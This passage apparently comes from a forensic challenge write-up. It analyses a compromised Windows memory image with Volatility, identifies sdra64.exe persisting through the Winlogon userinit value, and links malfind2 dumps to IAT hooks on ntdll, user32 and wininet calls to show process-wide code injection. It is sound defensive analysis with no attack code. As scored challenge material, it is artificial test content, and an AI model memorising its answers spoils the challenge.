- Type: REG_SZ
- Value: "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe,"
- Modified: Sat Feb 27 21:12:34 2010

So, we can assume that sdra64.exe was the malicious executable that owned the computer.

Question 10. What technique was used in the initial exploit to inject code in to the other processes?	Possible Points: 6pts

Tools Used:grep, Volatility with plugin usermode_hooks

As anticipated in answer to question #7, when executing plugin malfind2 on all processes, it detect a lot of hidden processes, all of 118784 bytes in size, almost in every process. This is the list of files produced by malfind2:

```
malfind.1040.20d0000-20ecfff.dmp
malfind.1100.870000-88cfff.dmp
malfind.1108.d70000-d8cfff.dmp
malfind.1116.1630000-164cfff.dmp
malfind.1132.800000-81cfff.dmp
malfind.1244.a30000-a4cfff.dmp
malfind.1384.80000-9cfff.dmp
malfind.1460.920000-93cfff.dmp
malfind.1628.15b0000-15ccfff.dmp
malfind.1752.30000-4cfff.dmp
malfind.1756.ac0000-adcfff.dmp
malfind.1836.a30000-a4cfff.dmp
malfind.2024.6b0000-6ccfff.dmp
malfind.232.12d0000-12ecfff.dmp
malfind.244.890000-8acfff.dmp
malfind.4.170000-18cfff.dmp
malfind.4.190000-1acfff.dmp
malfind.4.40000-5cfff.dmp
malfind.440.1000000-101cfff.dmp
malfind.644.a10000-a2cfff.dmp
malfind.688.750000-76cfff.dmp
malfind.700.a10000-a2cfff.dmp
malfind.852.640000-65cfff.dmp
malfind.880.720000-73cfff.dmp
malfind.888.1e80000-1e9cfff.dmp
malfind.948.850000-86cfff.dmp
```

file names are compound from mafind.PID.START-END.dmp, where PID is the process ID, START and END is the memory address of hidden process.

This can be explained with a code injection in every process, operation that an attacker can do in many ways. Using Volatility with usermode_hooks (http://mnin.blogspot.com/2009/07/new-and-updated-volatility-plug-ins.html) we can look at any hooks made on system calls:

```
python volatility usermode_hooks -f Bob.vmem -d output | grep -v "Memory Not Accessible" > userhook.txt
```

Grep is used to remove a lot of messages like “Memory Not Accessible....” and get a clean list of hooks.
This is an excerpt of the resulting file:

```
Type     Process          PID    Hooked Module                          Hooked
Function                         From => To/Instruction   Hooking Module
```

```
IAT      services.exe     688    C:\WINDOWS\system32\services.exe
ntdll.dll!NtQueryDirectoryFile                    [0x100130c] => 0x759585
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\system32\kernel32.dll
ntdll.dll!NtQueryDirectoryFile                    [0x7c80121c] => 0x759585
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\system32\kernel32.dll
ntdll.dll!LdrLoadDll                              [0x7c801384] => 0x7594ca
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\system32\kernel32.dll
ntdll.dll!LdrGetProcedureAddress                  [0x7c801388] => 0x759465
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\system32\kernel32.dll
ntdll.dll!NtCreateThread                          [0x7c801444] => 0x759433
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\AppPatch\AcGenral.DLL
USER32.dll!TranslateMessage                        [0x6f88132c] => 0x759af6
UNKNOWN

IAT      services.exe     688    C:\WINDOWS\system32\ole32.dll
USER32.dll!GetClipboardData                        [0x774e1528] => 0x75984a
UNKNOWN

...

IAT      svchost.exe      1244   c:\windows\system32\webclnt.dll
WININET.dll!HttpQueryInfoW                          [0x5a6e1140] => 0xa41774
UNKNOWN

IAT      svchost.exe      1244   c:\windows\system32\webclnt.dll
WININET.dll!InternetReadFile                        [0x5a6e1158] => 0xa41d0a
UNKNOWN

IAT      svchost.exe      1244   c:\windows\system32\webclnt.dll
WININET.dll!InternetCloseHandle                     [0x5a6e115c] => 0xa41b9e
UNKNOWN

IAT      svchost.exe      1244   c:\windows\system32\webclnt.dll
WININET.dll!HttpSendRequestA                        [0x5a6e118c] => 0xa41fe3
UNKNOWN

IAT      svchost.exe      1244   c:\windows\system32\webclnt.dll
WININET.dll!HttpSendRequestExW                      [0x5a6e1190] => 0xa420a5
UNKNOWN
```

Please note, in red, the names of the Windows calls hooked.
Shortly, almost every process have hooks on loaded system DLL. The address of hooks is in the range where the plugin malfind2 find the hidden process for every process PID.
For example, if we compare address of hooks in PID 688 (shown in the previous lines), we can check that are all in the range

of the hidden process found by malfind2 in PID 688: 0x750000-0x76cfff
Same thing happens for every process listed by usermode_hooks plugins: address where hooks points to are inside the range where malfind2 found hidden processes.

As showed in answer to question #7, a list of system calls hooked is found using strings in hidden code extracted by malfind2, same system calls that usermode_hooks plugin claims hooked in almost all processes running in compromised machine.

Now, we can say that a malware has injected code in almost all processes running in compromised computer, using hooking techniques on system calls.